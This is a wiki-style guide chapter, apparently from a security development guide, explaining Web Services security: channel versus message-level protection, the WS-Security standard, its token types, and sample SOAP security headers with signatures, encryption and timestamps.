There is a commonly cited statement, and even more often implemented approach – “we are using SSL to protect all communication, we are secure”. At the same time, there have been so many articles published on the topic of “channel security vs. token security” that it hardly makes sense to repeat those arguments here. Therefore, listed below is just a brief rundown of most common pitfalls when using channel security alone:

* It provides only “point-to-point” security

Any communication with multiple “hops” requires establishing separate channels (and trusts) between each communicating node along the way. There is also a subtle issue of trust transitivity, as trusts between node pairs {A,B} and {B,C} do not automatically imply {A,C} trust relationship.

* Storage issue

After messages are received on the server (even if it is not the intended recipient), they exist in the clear-text form, at least – temporarily. Storing the transmitted information at the intermediate aggravates the problem or destination servers in log files (where it can be browsed by anybody) and local caches.

* Lack of interoperability

While SSL provides a standard mechanism for transport protection, applications then have to utilize highly proprietary mechanisms for transmitting credentials, ensuring freshness, integrity, and confidentiality of data sent over the secure channel. Using a different server, which is semantically equivalent, but accepts a different format of the same credentials, would require altering the client and prevent forming automatic B2B service chains.

Standards-based token protection in many cases provides a superior alternative for message-oriented Web Service SOAP communication model.

That said – the reality is that the most Web Services today are still protected by some form of channel security mechanism, which alone might suffice for a simple internal application. However, one should clearly realize the limitations of such approach, and make conscious trade-offs at the design time, whether channel, token, or combined protection would work better for each specific case.

==Passing credentials ==

In order to enable credentials exchange and authentication for Web Services, their developers must address the following issues.

First, since SOAP messages are XML-based, all passed credentials have to be converted to text format. This is not a problem for username/password types of credentials, but binary ones (like X.509 certificates or Kerberos tokens) require converting them into text prior to sending and unambiguously restoring them upon receiving, which is usually done via a procedure called Base64 encoding and decoding.

Second, passing credentials carries an inherited risk of their disclosure – either by sniffing them during the wire transmission, or by analyzing the server logs. Therefore, things like passwords and private keys need to be either encrypted, or just never sent “in the clear”. Usual ways to avoid sending sensitive credentials are using cryptographic hashing and/or signatures.

==Ensuring message freshness ==

Even a valid message may present a danger if it is utilized in a “replay attack” – i.e. it is sent multiple times to the server to make it repeat the requested operation. This may be achieved by capturing an entire message, even if it is sufficiently protected against tampering, since it is the message itself that is used for attack now (see the XML Injection section of the Interpreter Injection chapter).

Usual means to protect against replayed messages is either using unique identifiers (nonces) on messages and keeping track of processed ones, or using a relatively short validity time window. In the Web Services world, information about the message creation time is usually communicated by inserting timestamps, which may just tell the instant the message was created, or have additional information, like its expiration time, or certain conditions.

The latter solution, although easier to implement, requires clock synchronization and is sensitive to “server time skew,” whereas server or clients' clocks drift too much, preventing timely message delivery, although this usually does not present significant problems with modern-day computers. A greater issue lies with message queuing at the servers, where messages may be expiring while waiting to be processed in the queue of an especially busy or non-responsive server.

==Protecting message integrity ==

When a message is received by a web service, it must always ask two questions: “whether I trust the caller,” “whether it created this message.” Assuming that the caller trust has been established one way or another, the server has to be assured that the message it is looking at was indeed issued by the caller, and not altered along the way (intentionally or not). This may affect technical qualities of a SOAP message, such as the message’s timestamp, or business content, such as the amount to be withdrawn from the bank account. Obviously, neither change should go undetected by the server.

In communication protocols, there are usually some mechanisms like checksum applied to ensure packet’s integrity. This would not be sufficient, however, in the realm of publicly exposed Web Services, since checksums (or digests, their cryptographic equivalents) are easily replaceable and cannot be reliably tracked back to the issuer. The required association may be established by utilizing HMAC, or by combining message digests with either cryptographic signatures or with secret key-encryption (assuming the keys are only known to the two communicating parties) to ensure that any change will immediately result in a cryptographic error.

==Protecting message confidentiality ==

Oftentimes, it is not sufficient to ensure the integrity – in many cases it is also desirable that nobody can see the data that is passed around and/or stored locally. It may apply to the entire message being processed, or only to certain parts of it – in either case, some type of encryption is required to conceal the content. Normally, symmetric encryption algorithms are used to encrypt bulk data, since it is significantly faster than the asymmetric ones. Asymmetric encryption is then applied to protect the symmetric session keys, which, in many implementations, are valid for one communication only and are subsequently discarded.

Applying encryption requires conducting an extensive setup work, since the communicating parties now have to be aware of which keys they can trust, deal with certificate and key validation, and know which keys should be used for communication.

In many cases, encryption is combined with signatures to provide both integrity and confidentiality. Normally, signing keys are different from the encrypting ones, primarily because of their different lifecycles – signing keys are permanently associated with their owners, while encryption keys may be invalidated after the message exchange. Another reason may be separation of business responsibilities - the signing authority (and the corresponding key) may belong to one department or person, while encryption keys are generated by the server controlled by members of IT department.

==Access control ==

After the message has been received and successfully validated, the server must decide:

* Does it know who is requesting the operation (Identification)

* Does it trust the caller’s identity claim (Authentication)

* Does it allow the caller to perform this operation (Authorization)

There is not much WS-specific activity that takes place at this stage – just several new ways of passing the credentials for authentication. Most often, authorization (or entitlement) tasks occur completely outside of the Web Service implementation, at the Policy Server that protects the whole domain.

There is another significant problem here – the traditional HTTP firewalls do not help at stopping attacks at the Web Services. An organization would need an XML/SOAP firewall, which is capable of conducting application-level analysis of the web server’s traffic and make intelligent decision about passing SOAP messages to their destination. The reader would need to refer to other books and publications on this very important topic, as it is impossible to cover it within just one chapter.

==Audit ==

A common task, typically required from the audits, is reconstructing the chain of events that led to a certain problem. Normally, this would be achieved by saving server logs in a secure location, available only to the IT administrators and system auditors, in order to create what is commonly referred to as “audit trail”. Web Services are no exception to this practice, and follow the general approach of other types of Web Applications.

Another auditing goal is non-repudiation, meaning that a message can be verifiably traced back to the caller. Following the standard legal practice, electronic documents now require some form of an “electronic signature”, but its definition is extremely broad and can mean practically anything – in many cases, entering your name and birthday qualifies as an e-signature.

As far as the WS are concerned, such level of protection would be insufficient and easily forgeable. The standard practice is to require cryptographic digital signatures over any content that has to be legally binding – if a document with such a signature is saved in the audit log, it can be reliably traced to the owner of the signing key.

==Web Services Security Hierarchy ==

Technically speaking, Web Services themselves are very simple and versatile – XML-based communication, described by an XML-based grammar, called Web Services Description Language (WSDL, see http://www.w3.org/TR/2005/WD-wsdl20-20050510), which binds abstract service interfaces, consisting of messages, expressed as XML Schema, and operations, to the underlying wire format. Although it is by no means a requirement, the format of choice is currently SOAP over HTTP. This means that Web Service interfaces are described in terms of the incoming and outgoing SOAP messages, transmitted over HTTP protocol.

===Standards committees ===

Before reviewing the individual standards, it is worth taking a brief look at the organizations which are developing and promoting them. There are quite a few industry-wide groups and consortiums working in this area, most important of which are listed below.

W3C (see http://www.w3.org) is the most well known industry group, which owns many Web-related standards and develops them in Working Group format. Of particular interest to this chapter are XML Schema, SOAP, XML-dsig, XML-enc, and WSDL standards (called recommendations in the W3C’s jargon).

OASIS (see http://www.oasis-open.org) mostly deals with Web Service-specific standards, not necessarily security-related. It also operates on a committee basis, forming so-called Technical Committees (TC) for the standards that it is going to be developing. Of interest for this discussion, OASIS owns WS-Security and SAML standards.

Web Services Interoperability Organization (WS-I, see http://www.ws-i.org/) was formed to promote a general framework for interoperable Web Services. Mostly its work consists of taking other broadly accepted standards, and developing so-called profiles, or sets of requirements for conforming Web Service implementations. In particular, its Basic Security Profile (BSP) relies on the OASIS’ WS-Security standard and specifies sets of optional and required security features in Web Services that claim interoperability.

Liberty Alliance (LA, see http://projectliberty.org) consortium was formed to develop and promote an interoperable Identity Federation framework. Although this framework is not strictly Web Service-specific, but rather general, it is important for this topic because of its close relation with the SAML standard developed by OASIS.

Besides the previously listed organizations, there are other industry associations, both permanently established and short-lived, which push forward various Web Service security activities. They are usually made up of software industry’s leading companies, such as Microsoft, IBM, Verisign, BEA, Sun, and others, that join them to work on a particular issue or proposal. Results of these joint activities, once they reach certain maturity, are often submitted to standardizations committees as a basis for new industry standards.

==SOAP ==

Simple Object Access Protocol (SOAP, see http://www.w3.org/TR/2003/REC-soap12-part1-20030624/) provides an XML-based framework for exchanging structured and typed information between peer services. This information, formatted into Header and Body, can theoretically be transmitted over a number of transport protocols, but only HTTP binding has been formally defined and is in active use today. SOAP provides for Remote Procedure Call-style (RPC) interactions, similar to remote function calls, and Document-style communication, with message contents based exclusively on XML Schema definitions in the Web Service’s WSDL. Invocation results may be optionally returned in the response message, or a Fault may be raised, which is roughly equivalent to using exceptions in traditional programming languages.

SOAP protocol, while defining the communication framework, provides no help in terms of securing message exchanges – the communications must either happen over secure channels, or use protection mechanisms described later in this chapter.

===XML security specifications (XML-dsig & Encryption) ===

XML Signature (XML-dsig, see http://www.w3.org/TR/2002/REC-xmldsig-core-20020212/), and XML Encryption (XML-enc, see http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/) add cryptographic protection to plain XML documents. These specifications add integrity, message and signer authentication, as well as support for encryption/decryption of whole XML documents or only of some elements inside them.

The real value of those standards comes from the highly flexible framework developed to reference the data being processed (both internal and external relative to the XML document), refer to the secret keys and key pairs, and to represent results of signing/encrypting operations as XML, which is added to/substituted in the original document.

However, by themselves, XML-dsig and XML-enc do not solve the problem of securing SOAP-based Web Service interactions, since the client and service first have to agree on the order of those operations, where to look for the signature, how to retrieve cryptographic tokens, which message elements should be signed and encrypted, how long a message is considered to be valid, and so on. These issues are addressed by the higher-level specifications, reviewed in the following sections.

===Security specifications ===

In addition to the above standards, there is a broad set of security-related specifications being currently developed for various aspects of Web Service operations.

One of them is SAML, which defines how identity, attribute, and authorization assertions should be exchanged among participating services in a secure and interoperable way.

A broad consortium, headed by Microsoft and IBM, with the input from Verisign, RSA Security, and other participants, developed a family of specifications, collectively known as “Web Services Roadmap”. Its foundation, WS-Security, has been submitted to OASIS and became an OASIS standard in 2004. Other important specifications from this family are still found in different development stages, and plans for their submission have not yet been announced, although they cover such important issues as security policies (WS-Policy et al), trust issues and security token exchange (WS-Trust), establishing context for secure conversation (WS-SecureConversation). One of the specifications in this family, WS-Federation, directly competes with the work being done by the LA consortium, and, although it is supposed to be incorporated into the Longhorn release of Windows, its future is not clear at the moment, since it has been significantly delayed and presently does not have industry momentum behind it.

==WS-Security Standard ==

WS-Security specification (WSS) was originally developed by Microsoft, IBM, and Verisign as part of a “Roadmap”, which was later renamed to Web Services Architecture, or WSA. WSS served as the foundation for all other specifications in this domain, creating a basic infrastructure for developing message-based security exchange. Because of its importance for establishing interoperable Web Services, it was submitted to OASIS and, after undergoing the required committee process, became an officially accepted standard. Current version is 1.0, and the work on the version 1.1 of the specification is under way and is expected to be finishing in the second half of 2005.
[[category:FIXME | outdated info? is it complete now?]]

===Organization of the standard ===

The WSS standard itself deals with several core security areas, leaving many details to so-called profile documents. The core areas, broadly defined by the standard, are:

* Ways to add security headers (WSSE Header) to SOAP Envelopes

* Attachment of security tokens and credentials to the message

* Inserting a timestamp

* Signing the message

* Encrypting the message

* Extensibility

Flexibility of the WS-Security standard lies in its extensibility, so that it remains adaptable to new types of security tokens and protocols that are being developed. This flexibility is achieved by defining additional profiles for inserting new types of security tokens into the WSS framework. While the signing and encrypting parts of the standards are not expected to require significant changes (only when the underlying XML-dsig and XML-enc are updated), the types of tokens, passed in WSS messages, and ways of attaching them to the message may vary substantially. At the high level the WSS standard defines three types of security tokens, attachable to a WSS Header: Username/password, Binary, and XML tokens. Each of those types is further specified in one (or more) profile document, which defines additional tokens' attributes and elements, needed to represent a particular type of security token.

[[Image:WSS_Specification_Hierarchy.gif|Figure 4: WSS specification hierarchy]]

===Purpose ===

The primary goal of the WSS standard is providing tools for message-level communication protection, whereas each message represents an isolated piece of information, carrying enough security data to verify all important message properties, such as: authenticity, integrity, freshness, and to initiate decryption of any encrypted message parts. This concept is a stark contrast to the traditional channel security, which methodically applies pre-negotiated security context to the whole stream, as opposed to the selective process of securing individual messages in WSS. In the Roadmap, that type of service is eventually expected to be provided by implementations of standards like WS-SecureConversation.

From the beginning, the WSS standard was conceived as a message-level toolkit for securely delivering data for higher level protocols. Those protocols, based on the standards like WS-Policy, WS-Trust, and Liberty Alliance, rely on the transmitted tokens to implement access control policies, token exchange, and other types of protection and integration. However, taken alone, the WSS standard does not mandate any specific security properties, and an ad-hoc application of its constructs can lead to subtle security vulnerabilities and hard to detect problems, as is also discussed in later sections of this chapter.

==WS-Security Building Blocks ==

The WSS standard actually consists of a number of documents – one core document, which defines how security headers may be included into SOAP envelope and describes all high-level blocks, which must be present in a valid security header. Profile documents have the dual task of extending definitions for the token types they are dealing with, providing additional attributes, elements, as well as defining relationships left out of the core specification, such as using attachments.

Core WSS 1.1 specification, located at http://www.oasis-open.org/committees/download.php/16790/wss-v1.1-spec-os-SOAPMessageSecurity.pdf, defines several types of security tokens (discussed later in this section – see 0), ways to reference them, timestamps, and ways to apply XML-dsig and XML-enc in the security headers – see the XML Dsig section for more details about their general structure.

Associated specifications are:

* Username token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16782/wss-v1.1-spec-os-UsernameTokenProfile.pdf, which adds various password-related extensions to the basic UsernameToken from the core specification

* X.509 token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16785/wss-v1.1-spec-os-x509TokenProfile.pdf which specifies, how X.509 certificates may be passed in the BinarySecurityToken, specified by the core document

* SAML Token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16768/wss-v1.1-spec-os-SAMLTokenProfile.pdf that specifies how XML-based SAML tokens can be inserted into WSS headers.

* Kerberos Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16788/wss-v1.1-spec-os-KerberosTokenProfile.pdf that defines how to encode Kerberos tickets and attach them to SOAP messages.

* Rights Expression Language (REL) Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16687/oasis-wss-rel-token-profile-1.1.pdf that describes the use of ISO/IEC 21000-5 Rights Expressions with respect to the WS-Security specification.

* SOAP with Attachments (SWA) Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16672/wss-v1.1-spec-os-SwAProfile.pdf that describes how to use WSS-Sec with SOAP Messages with Attachments.

===How data is passed ===

WSS security specification deals with two distinct types of data: security information, which includes security tokens, signatures, digests, etc; and message data, i.e. everything else that is passed in the SOAP message. Being an XML-based standard, WSS works with textual information grouped into XML elements. Any binary data, such as cryptographic signatures or Kerberos tokens, has to go through a special transform, called Base64 encoding/decoding, which provides straightforward conversion from binary to ASCII formats and back. The example below demonstrates how binary data looks like in the encoded format:

''cCBDQTAeFw0wNDA1MTIxNjIzMDRaFw0wNTA1MTIxNjIzMDRaMG8xCz''

After encoding a binary element, an attribute with the algorithm’s identifier is added to the XML element carrying the data, so that the receiver would know to apply the correct decoder to read it. These identifiers are defined in the WSS specification documents.

===Security header’s structure ===

A security header in a message is used as a sort of an envelope around a letter – it seals and protects the letter, but does not care about its content. This “indifference” works in the other direction as well, as the letter (SOAP message) should not know, nor should it care about its envelope (WSS Header), since the different units of information, carried on the envelope and in the letter, are presumably targeted at different people or applications.

A SOAP Header may actually contain multiple security headers, as long as they are addressed to different actors (for SOAP 1.1), or roles (for SOAP 1.2). Their contents may also be referring to each other, but such references present a very complicated logistical problem for determining the proper order of decryptions/signature verifications, and should generally be avoided. WSS security header itself has a loose structure, as the specification itself does not require any elements to be present – so, the minimalist header with an empty message will look like:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">

</wsse:Security>
</soap:Header>
<soap:Body>

</soap:Body>
</soap:Envelope>

However, to be useful, it must carry some information, which is going to help securing the message. It means including one or more security tokens (see 0) with references, XML Signature, and XML Encryption elements, if the message is signed and/or encrypted. So, a typical header will look more like the following picture:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">
<wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">MIICtzCCAi...
</wsse:BinarySecurityToken>
<xenc:EncryptedKey xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>
<dsig:KeyInfo xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">
<wsse:SecurityTokenReference>
<wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>
</wsse:SecurityTokenReference>
</dsig:KeyInfo>
<xenc:CipherData>
<xenc:CipherValue>Nb0Mf...</xenc:CipherValue>
</xenc:CipherData>
<xenc:ReferenceList>
<xenc:DataReference URI="#aDNa2iD"/>
</xenc:ReferenceList>
</xenc:EncryptedKey>
<wsse:SecurityTokenReference wsu:Id="aZG0sG">
<wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz"> 1106844369755</wsse:KeyIdentifier>
</wsse:SecurityTokenReference>
<saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">
...
</saml:Assertion>
<wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">
<wsu:Created>2005-01-27T16:46:10Z</wsu:Created>
<wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>
</wsu:Timestamp>
<dsig:Signature xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" Id="sb738c7">
<dsig:SignedInfo Id="obLkHzaCOrAW4kxC9az0bLA22">
...
<dsig:Reference URI="#s91397860">
...
<dsig:DigestValue>5R3GSp+OOn17lSdE0knq4GXqgYM=</dsig:DigestValue>
</dsig:Reference>
</dsig:SignedInfo>
<dsig:SignatureValue Id="a9utKU9UZk">LIkagbCr5bkXLs8l...</dsig:SignatureValue>
<dsig:KeyInfo>
<wsse:SecurityTokenReference>
<wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>
</wsse:SecurityTokenReference>
</dsig:KeyInfo>
</dsig:Signature>
</wsse:Security>
</soap:Header>
<soap:Body xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="s91397860">
<xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" Id="aDNa2iD" Type="http://www.w3.org/2001/04/xmlenc#Content">
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"/>
<xenc:CipherData>
<xenc:CipherValue>XFM4J6C...</xenc:CipherValue>
</xenc:CipherData>
</xenc:EncryptedData>
</soap:Body>
</soap:Envelope>

===Types of tokens ===

A WSS Header may have the following types of security tokens in it:

* Username token

Defines mechanisms to pass username and, optionally, a password - the latter is described in the username profile document. Unless the whole token is encrypted, a message which includes a clear-text password should always be transmitted via a secured channel. In situations where the target Web Service has access to clear-text passwords for verification (this might not be possible with LDAP or some other user directories, which do not return clear-text passwords), using a hashed version with nonce and a timestamp is generally preferable. The profile document defines an unambiguous algorithm for producing password hash:

Password_Digest = Base64 ( SHA-1 ( nonce + created + password ) )

* Binary token

They are used to convey binary data, such as X.509 certificates, in a text-encoded format, Base64 by default. The core specification defines BinarySecurityToken element, while profile documents specify additional attributes and sub-elements to handle attachment of various tokens. Presently, both the X.509 and the Kerberos profiles have been adopted.

<wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">
MIICtzCCAi...
</wsse:BinarySecurityToken>

* XML token

These are meant for any kind of XML-based tokens, but primarily – for SAML assertions. The core specification merely mentions the possibility of inserting such tokens, leaving all details to the profile documents. At the moment, SAML 1.1 profile has been accepted by OASIS.

<saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">
...
</saml:Assertion>

Although technically it is not a security token, a Timestamp element may be inserted into a security header to ensure message’s freshness. See the further reading section for a design pattern on this.

===Referencing message parts ===

In order to retrieve security tokens, passed in the message, or to identify signed and encrypted message parts, the core specification adopts usage of a special attribute, wsu:Id. The only requirement on this attribute is that the values of such IDs should be unique within the scope of XML document where they are defined. Its application has a significant advantage for the intermediate processors, as it does not require understanding of the message’s XML Schema. Unfortunately, XML Signature and Encryption specifications do not allow for attribute extensibility (i.e. they have closed schema), so, when trying to locate signature or encryption elements, local IDs of the Signature and Encryption elements must be considered first.

WSS core specification also defines a general mechanism for referencing security tokens via SecurityTokenReference element. An example of such element, referring to a SAML assertion in the same header, is provided below:

<wsse:SecurityTokenReference wsu:Id="aZG0sGbRpXLySzgM1X6aSjg22">
<wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz">
1106844369755
</wsse:KeyIdentifier>
</wsse:SecurityTokenReference>

As this element was designed to refer to pretty much any possible token type (including encryption keys, certificates, SAML assertions, etc) both internal and external to the WSS Header, it is enormously complicated. The specification recommends using two of its possible four reference types – Direct References (by URI) and Key Identifiers (some kind of token identifier). Profile documents (SAML, X.509 for instance) provide additional extensions to these mechanisms to take advantage of specific qualities of different token types.

==Communication Protection Mechanisms ==

As was already explained earlier (see 0), channel security, while providing important services, is not a panacea, as it does not solve many of the issues facing Web Service developers. WSS helps addressing some of them at the SOAP message level, using the mechanisms described in the sections below.
[[Category:FIXME|Please check the reference (see 0)]]

===Integrity ===

WSS specification makes use of the XML-dsig standard to ensure message integrity, restricting its functionality in certain cases; for instance, only explicitly referenced elements can be signed (i.e. no Embedding or Embedded signature modes are allowed). Prior to signing an XML document, a transformation is required to create its canonical representation, taking into account the fact that XML documents can be represented in a number of semantically equivalent ways. There are two main transformations defined by the XML Digital Signature WG at W3C, Inclusive and Exclusive Canonicalization Transforms (C14N and EXC-C14N), which differ in the way namespace declarations are processed. The WSS core specification specifically recommends using EXC-C14N, as it allows copying signed XML content into other documents without invalidating the signature.

In order to provide a uniform way of addressing signed tokens, WSS adds a Security Token Reference (STR) Dereference Transform option, which is comparable with dereferencing a pointer to an object of specific data type in programming languages. Similarly, in addition to the XML Signature-defined ways of addressing signing keys, WSS allows for references to signing security tokens through the STR mechanism (explained in 0), extended by token profiles to accommodate specific token types. A typical signature example is shown in an earlier sample in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

Typically, an XML signature is applied to secure elements such as SOAP Body and the timestamp, as well as any user credentials, passed in the request. There is an interesting twist when a particular element is both signed and encrypted, since these operations may follow (even repeatedly) in any order, and knowledge of their ordering is required for signature verification. To address this issue, the WSS core specification requires that each new element is pre-pended to the security header, thus defining the “natural” order of operations. A particularly nasty problem arises when there are several security headers in a single SOAP message, using overlapping signature and encryption blocks, as there is nothing in this case that would point to the right order of operations.

===Confidentiality ===

For its confidentiality protection, WSS relies on yet another standard, XML Encryption. Similarly to XML-dsig, this standard operates on selected elements of the SOAP message, but it then replaces the encrypted element’s data with a <xenc:EncryptedData> sub-element carrying the encrypted bytes. For encryption efficiency, the specification recommends using a unique key, which is then encrypted by the recipient’s public key and pre-pended to the security header in a <xenc:EncryptedKey> element. A SOAP message with encrypted body is shown in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Freshness ===

SOAP messages’ freshness is addressed via timestamp mechanism – each security header may contain just one such element, which states, in UTC time and using the UTC time format, creation and expiration moments of the security header. It is important to realize that the timestamp is applied to the WSS Header, not to the SOAP message itself, since the latter may contain multiple security headers, each with a different timestamp. There is an unresolved problem with this “single timestampt” approach, since, once the timestamp is created and signed, it is impossible to update it without breaking existing signatures, even in case of a legitimate change in the WSS Header.

<wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">
<wsu:Created>2005-01-27T16:46:10Z</wsu:Created>
<wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>
</wsu:Timestamp>

If a timestamp is included in a message, it is typically signed to prevent tampering and replay attacks. There is no mechanism foreseen to address clock synchronization issue (which, as was already point out earlier, is generally not an issue in modern day systems) – this has to be addressed out-of-band as far as the WSS mechanics is concerned. See the further reading section for a design pattern addressing this issue.

==Access Control Mechanisms ==

When it comes to access control decisions, Web Services do not offer specific protection mechanisms by themselves – they just have the means to carry the tokens and data payloads in a secure manner between source and destination SOAP endpoints.

For more complete description of access control tasks, please, refer to other sections of this Development Guide.

===Identification ===

Identification represents a claim to have certain identity, which is expressed by attaching certain information to the message. This can be a username, an SAML assertion, a Kerberos ticket, or any other piece of information, from which the service can infer who the caller claims to be.

WSS represents a very good way to convey this information, as it defines an extensible mechanism for attaching various token types to a message (see 0). It is the receiver’s job to extract the attached token and figure out which identity it carries, or to reject the message if it can find no acceptable token in it.
[[Category:FIXME|Please check the reference (see 0)]]

===Authentication ===

Authentication can come in two flavors – credentials verification or token validation. The subtle difference between the two is that tokens are issued after some kind of authentication has already happened prior to the current invocation, and they usually contain user’s identity along with the proof of its integrity.

WSS offers support for a number of standard authentication protocols by defining binding mechanism for transmitting protocol-specific tokens and reliably linking them to the sender. However, the mechanics of proof that the caller is who he claims to be is completely at the Web Service’s discretion. Whether it takes the supplied username and password’s hash and checks it against the backend user store, or extracts subject name from the X.509 certificate used for signing the message, verifies the certificate chain and looks up the user in its store – at the moment, there are no requirements or standards which would dictate that it should be done one way or another.

===Authorization ===

XACML may be used for expressing authorization rules, but its usage is not Web Service-specific – it has much broader scope. So, whatever policy or role-based authorization mechanism the host server already has in place will most likely be utilized to protect the deployed Web Services deployed as well.

Depending on the implementation, there may be several layers of authorization involved at the server. For instance, JSRs 224 (JAX-RPC 2.0) and 109 (Implementing Enterprise Web Services), which define Java binding for Web Services, specify implementing Web Services in J2EE containers. This means that when a Web Service is accessed, there will be a URL authorization check executed by the J2EE container, followed by a check at the Web Service layer for the Web Service-specific resource. Granularity of such checks is implementation-specific and is not dictated by any standards. In the Windows universe it happens in a similar fashion, since IIS is going to execute its access checks on the incoming HTTP calls before they reach the ASP.NET runtime, where SOAP message is going to be further decomposed and analyzed.

===Policy Agreement ===

Normally, Web Services’ communication is based on the endpoint’s public interface, defined in its WSDL file. This descriptor has sufficient details to express SOAP binding requirements, but it does not define any security parameters, leaving Web Service developers struggling to find out-of-band mechanisms to determine the endpoint’s security requirements.

To make up for these shortcomings, WS-Policy specification was conceived as a mechanism for expressing complex policy requirements and qualities, sort of WSDL on steroids. Through the published policy SOAP endpoints can advertise their security requirements, and their clients can apply appropriate measures of message protection to construct the requests. The general WS-Policy specification (actually comprised of three separate documents) also has extensions for specific policy types, one of them – for security, WS-SecurityPolicy.

If the requestor does not possess the required tokens, it can try obtaining them via trust mechanism, using WS-Trust-enabled services, which are called to securely exchange various token types for the requested identity.

[[Image: Using Trust Service.gif|Figure 5. Using Trust service]]

Unfortunately, both WS-Policy and WS-Trust specifications have not been submitted for standardization to public bodies, and their development is progressing via private collaboration of several companies, although it was opened up for other participants as well. As a positive factor, there have been several interoperability events conducted for these specifications, so the development process of these critical links in the Web Services’ security infrastructure is not a complete black box.

==Forming Web Service Chains ==

Many existing or planned implementations of SOA or B2B systems rely on dynamic chains of Web Services for accomplishing various business specific tasks, from taking the orders through manufacturing and up to the distribution process.

[[Image:Service Chain.gif|Figure 6: Service chain]]

This is in theory. In practice, there are a lot of obstacles hidden among the way, and one of the major ones among them – security concerns about publicly exposing processing functions to intra- or Internet-based clients.

Here are just a few of the issues that hamper Web Services interaction – incompatible authentication and authorization models for users, amount of trust between services themselves and ways of establishing such trust, maintaining secure connections, and synchronization of user directories or otherwise exchanging users’ attributes. These issues will be briefly tackled in the following paragraphs.

===Incompatible user access control models ===

As explained earlier, in section 0, Web Services themselves do not include separate extensions for access control, relying instead on the existing security framework. What they do provide, however, are mechanisms for discovering and describing security requirements of a SOAP service (via WS-Policy), and for obtaining appropriate security credentials via WS-Trust based services.
[[Category:FIXME|Please check the reference (see 0)]]

===Service trust ===

In order to establish mutual trust between client and service, they have to satisfy each other’s policy requirements. A simple and popular model is mutual certificate authentication via SSL, but it is not scalable for open service models, and supports only one authentication type. Services that require more flexibility have to use pretty much the same access control mechanisms as with users to establish each other’s identities prior to engaging in a conversation.

===Secure connections ===

Once trust is established it would be impractical to require its confirmation on each interaction. Instead, a secure client-server link is formed and maintained the entire time a client’s session is active. Again, the most popular mechanism today for maintaining such link is SSL, but it is not a Web Service-specific mechanism, and it has a number of shortcomings when applied to SOAP communication, as explained in 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Synchronization of user directories ===

This is a very acute problem when dealing with cross-domain applications, as users’ population tends to change frequently among different domains. So, how does a service in domain B decide whether it is going to trust user’s claim that he has been already authenticated in domain A? There exist different aspects of this problem. First – a common SSO mechanism, which implies that a user is known in both domains (through synchronization, or by some other means), and authentication tokens from one domain are acceptable in another. In Web Services world, this would be accomplished by passing around a SAML or Kerberos token for a user.

===Domain federation ===

